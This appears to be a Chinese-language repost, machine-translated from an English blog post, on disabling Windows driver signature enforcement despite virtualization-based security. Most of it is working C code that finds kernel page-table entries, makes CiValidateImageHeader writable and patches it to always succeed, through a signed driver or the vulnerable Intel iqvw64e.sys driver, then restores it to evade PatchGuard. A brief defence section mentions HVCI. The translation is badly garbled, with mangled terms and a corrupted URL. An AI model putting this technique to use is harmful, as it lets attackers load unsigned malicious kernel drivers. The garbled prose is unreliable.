一种禁用驱动程序强制签名的技术
来源:http://www.tudoupe.com时间:2022-06-02
如今,披露代号证书和利用漏洞对付驾驶员的做法越来越频繁。内核已成为攻击者的新目标。随着微软公司采用虚拟安全(VBS)和管理方案代码完整性(HVCI)等技术,我对有Ring -0通道的袭击者很好奇终点很容易妥协。
在文章中,我们将研究为强迫签字而使司机丧失能力的一个典型战略,VBS是如何试图防止攻击者使用这种手段的,以及在不将HVCI结合的情况下绕过这种安全措施是多么容易。
司机被迫签字机制
一段时间以来,为了防止袭击者将未签名的司机装进内核,Windows使用了DSE驱动器机制。这是一个相当成功的技术。它能够确保攻击者不能简单地绕过内核的安全功能。例如,将EPROCESS油田移走以绕过PPL(程序保护灯)是不可行的。PPL)。
为了克服这个障碍,袭击者有几种选择。第一种办法是向目标派遣一个易受影响的驱动因素。司机必须满足所有签字要求。尽管如此,还是允许袭击者利用他们的缺陷来改变记忆。将未签名的驱动程序包含在内核中第二种方法是用以前透露的签字证书签署自己的驾驶员代码。因此,你可以直接把它装进内核。此外,鉴于最近泄露的签名数量激增,对于攻击者来说,技术已成为有利的解决办法。
禁用司机被迫签字机制
那么,如果我们想要禁用司机被迫签字机制,我不希望操作系统被转移到调试或测试模式。那该怎么办呢?实际上,在最新的 Windows 版本中,DSE是通过使用ci.dll模块实施的。此外,本模块中还有名为 g_ Cioptions 的配置选项:
此配置变量可以调整为各种值, 但为本条的目的, 可以设定为零, 以完全禁用 DSE, 允许攻击者装载未签名驱动程序 。
长期以来,这是将未登记的司机送入操作系统的简单方式,这是件好事,但后来Windows10采用了VBS方法,该方法现已过期。
虚拟安全保护机制
如今,微软已作出重大努力,防止内核改变。David Weston在2018年布鲁哈特会议上做了重要主旨发言。详细解释了这次袭击的动机。安全守则的不断变化性质是其中最重要的组成部分。"如果攻击者能说服受害者用自己的电脑 执行自己的申请"因此,攻击者无法再使用这台机器。”无法这样做,因为微软公司已在加强其操作系统的安全方面投入了大量资金。这就是如何避免今后发生这种情况。
“虚拟安全机制”是微软公司用来改进内核安全的方法之一。视窗10和11是默认启用的。此外,它提供了一个受监管保护的环境。我们将运行第二个"安全内核", 我们将运行第二个"安全内核"。典型的内核 运行在环-0层 无法到达周围环境
然而,VBS并不是HVCI。 HVCI可以被视为在VBS树冠下运行,但它需要不同的设置来激活它。
那么,VBS是如何防止用泄漏的证书或易受攻击的驱动程序禁用司机被迫签字机制的呢?为了弄清楚这一点,先让我们看看CI.dll中g_CiOptions变量是如何解析的:

我们可以看到,在本案中使用了ProtecDriversection。它是作为《科索沃发展方案》技术的一部分提供的。这个API的作用,必须确保传承记忆地址。环-0的代码不能改变其内容。
即使我们试图使用 WinDBG 等工具连接内核( 启用 DSE, 将调试Flags 更改为 0x10), 我们也无法编辑存储的值 。
这意味着我们必须在VBS启用时找到另一种方法来禁用 DSE 。
使用补丁技术, 禁用 DSE 。
那些熟悉美洲空间局绕过技术的人可能认为这一信息有用。我相信没有人不熟悉以下的介绍:补丁方法。首先,我们需要知道补丁的位置所以,让我们进入调试器会话 。此外,为审查安全计划提供一个中断点。根据C. I. D.CiCheck PolicyBits方法看来是突破点的极好地点。从这里开始,如果您试图使用未签名的驱动程序,以下调用堆栈将可见 :

从以上的例子中可以看出,执行过程使用SeValidateImaage Header函数将内核插入CI。3⁄4 ̄ ̧漯B实际上,此功能的目的是确保驱动程序符合签名标准。接下来,在 SevalidateImage Header 中设置断点 。当未签名的驱动程序无法正确装入时, 观察 CivalidateImaage Header 给的值 。
在我看来,和NTSTATUS代码相似幻影数据库搜索结果显示:状况为c00428。所以,我们可以推测,如果此函数的结果是状态SUCCESS,此签名检查可以避免 。幸运的是,我们还知道,内核数据并不能保护这一战略。所以,剩下的就是提供一种方法 允许在这个记忆区写字
与签名的司机, 禁用 DSE 。
首先,让我们从一个基本的驱动器开始。这篇文章是全球之声在线特稿的一部分。很明显,在开发这一软件之后,要装入证书, 必须签名 。出于以下各段将清楚说明的原因,我们将通过阅读/写作行动,集中实施CivalidateImagage Header。
在内部核心,我们首先改变 CiValidateImage Header 的记忆保护。最简单的简单方法是更新虚拟地址的网页列表(PTE)。要获得CivalidateImage Header的表格条目,首先,我们必须找到一种方法。让我们把我们的虚拟地址转换为适当的PTE。
对于有游戏游戏方法的人,在这种情形下,假定拟使用的功能是MiGetPteAddress。彻底解释这一程序,有关PTE报导的companyabout文章可在@33y0re找到。基本上,此函数决定以后将使用的PTE基地位置;如下图所示,CE800 > 是地址 。但在每次重启后,以下地址将更改:
要发现此函数, 我们需要在记忆中找到一个字节签名。 为此, 我们可以使用以下代码来识别此函数, 我们需要在记忆中找到字节签名 。 为此, 我们可以使用以下代码 :
void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
for (int i = 0; i < maxHuntLength; i++) {
if (base[i] == inSig[0]) {
if (memcmp(base + i, inSig, length) == 0) {
return base + i;
}
}
}
return NULL;
}
...
我们可以恢复 PTE 的基本地址, 并解释 PTE 位置的虚拟地址, 在内存中寻找符合 MiGetPte 地址的签名 :
char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 };
void* FindPageTableEntry(void* addr) {
ULONG_PTR MiGetPteAddress = signatureSearch(&ExAcquireSpinLockSharedAtDpcLevel, MiGetPteAddressSig, sizeof(MiGetPteAddressSig), 0x30000);
if (MiGetPteAddress == NULL) {
return NULL;
}
ULONG_PTR PTEBase = *(ULONG_PTR*)(MiGetPteAddress + sizeof(MiGetPteAddressSig));
ULONG_PTR address = addr;
address = address >> 9;
address &= 0x7FFFFFFFF8;
address += (ULONG_PTR)PTEBase;
return address;
}
现在,我们已经拆解了虚拟地址的 PTE, 我们需要找到 CivalidateImage Header 的虚拟地址。 因为函数不是由 c. dll 输出的, 我们将通过签名再次查看 :
char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
ULONG_PTR CiValidateImageHeader = signatureSearch(CiValidateFileObjectPtr, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig), 0x100000);
if (CiValidateImageHeader == NULL) {
return;
}
CiValidateImageHeader -= CiValidateImageHeaderSigOffset;
我们可以在确认地址后检索 PTE 位置。 为此, 我们只需要翻转 PTE 的正确位置, 迫使CiValidateImage Header 页面的记忆页可以写入 :
ULONG64 *pte = FindPageTableEntry(CiValidateImageHeader);
*pte = *pte | 2;
页面设置后, 我们可以用 xor rax、 rax; ret 来纠正函数的启动; 一定要支持原始命令, 以便稍后恢复 :
char retShell[] = { 0x48, 0x31, 0xc0, 0xc3 };
char origBytes[4];
memcpy(origBytes, CiValidateImageHeader, 4);
memcpy(CiValidateImageHeader, retShell, 4);
然后,恢复页面保护如下:
*pte = *pte ^ 2;
// After this, page protection is reverted
在完成前一次行动后,让我们尝试装载未签名的司机:
照片来自https://youtu.
装载未签名驱动程序后要记住的另一件事是恢复先前的补丁,以避免PatchGuard的伤亡,如下文所示:
*pte = *pte | 2;
memcpy(CiValidateImageHeader, origBytes, 4);
*pte = *pte ^ 2;
使用脆弱的驱动程序禁用 DSE 。
现在,让我们考虑另一种情况:如果我们想利用一个脆弱的驱动因素呢?使用DSE使用DSE是不可行的,而不是禁止DSE使用恶意驾驶员签名并有泄漏证书的恶意驾驶员。那该怎么办?如上所述,我们所需要的只是读/写源语言。并且,这些并非难事!
下面,让我们研究一下如何用一个脆弱的司机来解除DSE的引信。在本例中,将使用 Intel 的 iqvw64e.sys 驱动程序 。它已经运行了很长一段时间。因为我们目前没有在内核里 执行密码所以,为了确定用户模式中的地址,我们必须采取额外程序。
首先,我们必须确定 entostskrnl 和 ci.dll 的基础地址。 我们很容易用 NtQuerySystem 信息和系统模块信息来完成 :
ULONG_PTR GetKernelModuleAddress(const char *name) {
DWORD size = 0;
void* buffer = NULL;
PRTL_PROCESS_MODULES modules;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, size, &size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
modules = (PRTL_PROCESS_MODULES)buffer;
for (int i=0; i < modules->NumberOfModules; i++)
{
char* currentName = (char*)modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName;
if (!_stricmp(currentName, name)) {
ULONG_PTR result = (ULONG_PTR)modules->Modules[i].ImageBase;
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
...
ULONG_PTR kernelBase = GetKernelModuleAddress("ntoskrnl.exe");
ULONG_PTR ciBase = GetKernelModuleAddress("CI.dll");
下一步是进行签名搜索。 最简单的方法就是将我们的文件映射为 SEC_ IMAGE 并在内存中搜索 PE 部分 :
void* mapFileIntoMemory(const char* path) {
HANDLE fileHandle = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (fileHandle == INVALID_HANDLE_VALUE) {
return NULL;
}
HANDLE fileMapping = CreateFileMapping(fileHandle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (fileMapping == NULL) {
CloseHandle(fileHandle);
return NULL;
}
void *fileMap = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, 0);
if (fileMap == NULL) {
CloseHandle(fileMapping);
CloseHandle(fileHandle);
}
return fileMap;
}
void* signatureSearch(char* base, char* inSig, int length, int maxHuntLength) {
for (int i = 0; i < maxHuntLength; i++) {
if (base[i] == inSig[0]) {
if (memcmp(base + i, inSig, length) == 0) {
return base + i;
}
}
}
return NULL;
}
ULONG_PTR signatureSearchInSection(char *section, char* base, char* inSig, int length) {
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS64* ntHeaders = (IMAGE_NT_HEADERS64*)((char*)base + dosHeader->e_lfanew);
IMAGE_SECTION_HEADER* sectionHeaders = (IMAGE_SECTION_HEADER*)((char*)ntHeaders + sizeof(IMAGE_NT_HEADERS64));
IMAGE_SECTION_HEADER* textSection = NULL;
ULONG_PTR gadgetSearch = NULL;
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (memcmp(sectionHeaders[i].Name, section, strlen(section)) == 0) {
textSection = §ionHeaders[i];
break;
}
}
if (textSection == NULL) {
return NULL;
}
gadgetSearch = (ULONG_PTR)signatureSearch(((char*)base + textSection->VirtualAddress), inSig, length, textSection->SizeOfRawData);
return gadgetSearch;
}
...
const char MiGetPteAddressSig[] = { 0x48, 0xc1, 0xe9, 0x09, 0x48, 0xb8, 0xf8, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc8, 0x48, 0xb8 };
const char CiValidateImageHeaderSig[] = { 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8b };
const int CiValidateImageHeaderSigOffset = 0x23;
gadgetSearch = signatureSearchInSection((char*)".text", (char*)kernelBase, MiGetPteAddressSig, sizeof(MiGetPteAddressSig));
MiGetPteAddress = gadgetSearch - kernelBase + sizeof(MiGetPteAddressSig);
gadgetSearch = signatureSearchInSection((char*)"PAGE", (char*)ciMap, CiValidateImageHeaderSig, sizeof(CiValidateImageHeaderSig));
CiValidateImageHeader = gadgetSearch - ciMap + ciBase - CiValidateImageHeaderSigOffset;
...
在完成这些进程后,我们必须读读PTE基地地址:
// Use intel driver vuln to copy kernel memory between user/kernel space
copyKernelMemory(devHandle, (ULONG_PTR)&pteBase, MiGetPteAddress, sizeof(void*));
要更改 MiGetPte 地址的 PTE 条目, 我们必须首先读取它 :
ULONG_PTR getPTEForVA(ULONG_PTR pteBase, ULONG_PTR address) {
ULONG_PTR PTEBase = pteBase;
address = address >> 9;
address &= 0x7FFFFFFFF8;
address += (ULONG_PTR)PTEBase;
return address;
}
ULONG_PTR pteAddress = getPTEForVA(pteBase, CiValidateImageHeader);
copyKernelMemory(devHandle, (ULONG_PTR)&pte, pteAddress, 8);
然后调整页面的写法位置:
pte |= 2;
最后,重复的记忆补丁:
copyKernelMemory(devHandle, (ULONG_PTR)origMem, CiValidateImageHeader, sizeof(origMem));
copyKernelMemory(devHandle, CiValidateImageHeader, (ULONG_PTR)retShell, sizeof(retShell));
在这一切之后,我们发现 因为DSE被关闭, 我们可以重新装载未签名的驱动程序:
照片来自https://youtu.be/j0jb8x4C638
在装载这些流程后,必须恢复先前的修改,以避免被PatchGuard保护系统活捉。
防御措施
因此,我们怎样才能避免这种情况再次发生呢? 幸好,维护者有几种选择。 第一个选择是HVCI。
HVCI 使用二级地址列表(SLAT),以确保无法撰写只读页面。另外,请确定读写页面不会在 PTE 中设置执行 。这样的话,攻击者无法立即修复执行文件的内存。因此,上述程序无效。
让我们尝试重现上述情景, 以HVCI为首:
我们从记忆堆放处可以看到,即使我们试图更新记忆页的保护属性,但Memcpy仍然造成系统服务异常。
如果HVCI无法启动,也可以通过微软攻击表面减少法获得,这种方法可能堵塞一些常用的脆弱驾驶员和泄漏的代号证书。这再次阻止了攻击者进入核心,进入需要他的地方。然而,由于驾驶程序有许多缺陷,因此,其保护性影响是低的。
com/ciotions- in a-vicalized-world/com/ciotions- in-a-vicalized-world/com/com/ciotions- in-vicalized-world/com/ciotions- in-a-vicalized-world.
上一篇:隐藏的 Windows 11 功能可充分利用操作系统
下一篇:没有了
相关新闻
- 2022-06-02 隐藏的 Windows 11 功能可充分利用操
- 2022-06-02 NLP模型读不懂人话?微软AdaTest挑错
- 2022-06-02 南方科技大学2022综合评价能力测试
- 2022-06-02 如何搭建(AGV)控制系统?
- 2022-06-02 元宇宙“以虚强实”,Meta/微软/微
- 2022-06-02 全网爆火|把回收站变成小猫,让
- 2022-06-02 微软发布 Surface Laptop Go 2
- 2022-06-02 吾爱大神版|微软语音合成助手,
- 2022-06-02 618将至!游戏玩家的新选择――机
- 2022-06-02 618平板怎么选?推荐三款不同价位
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
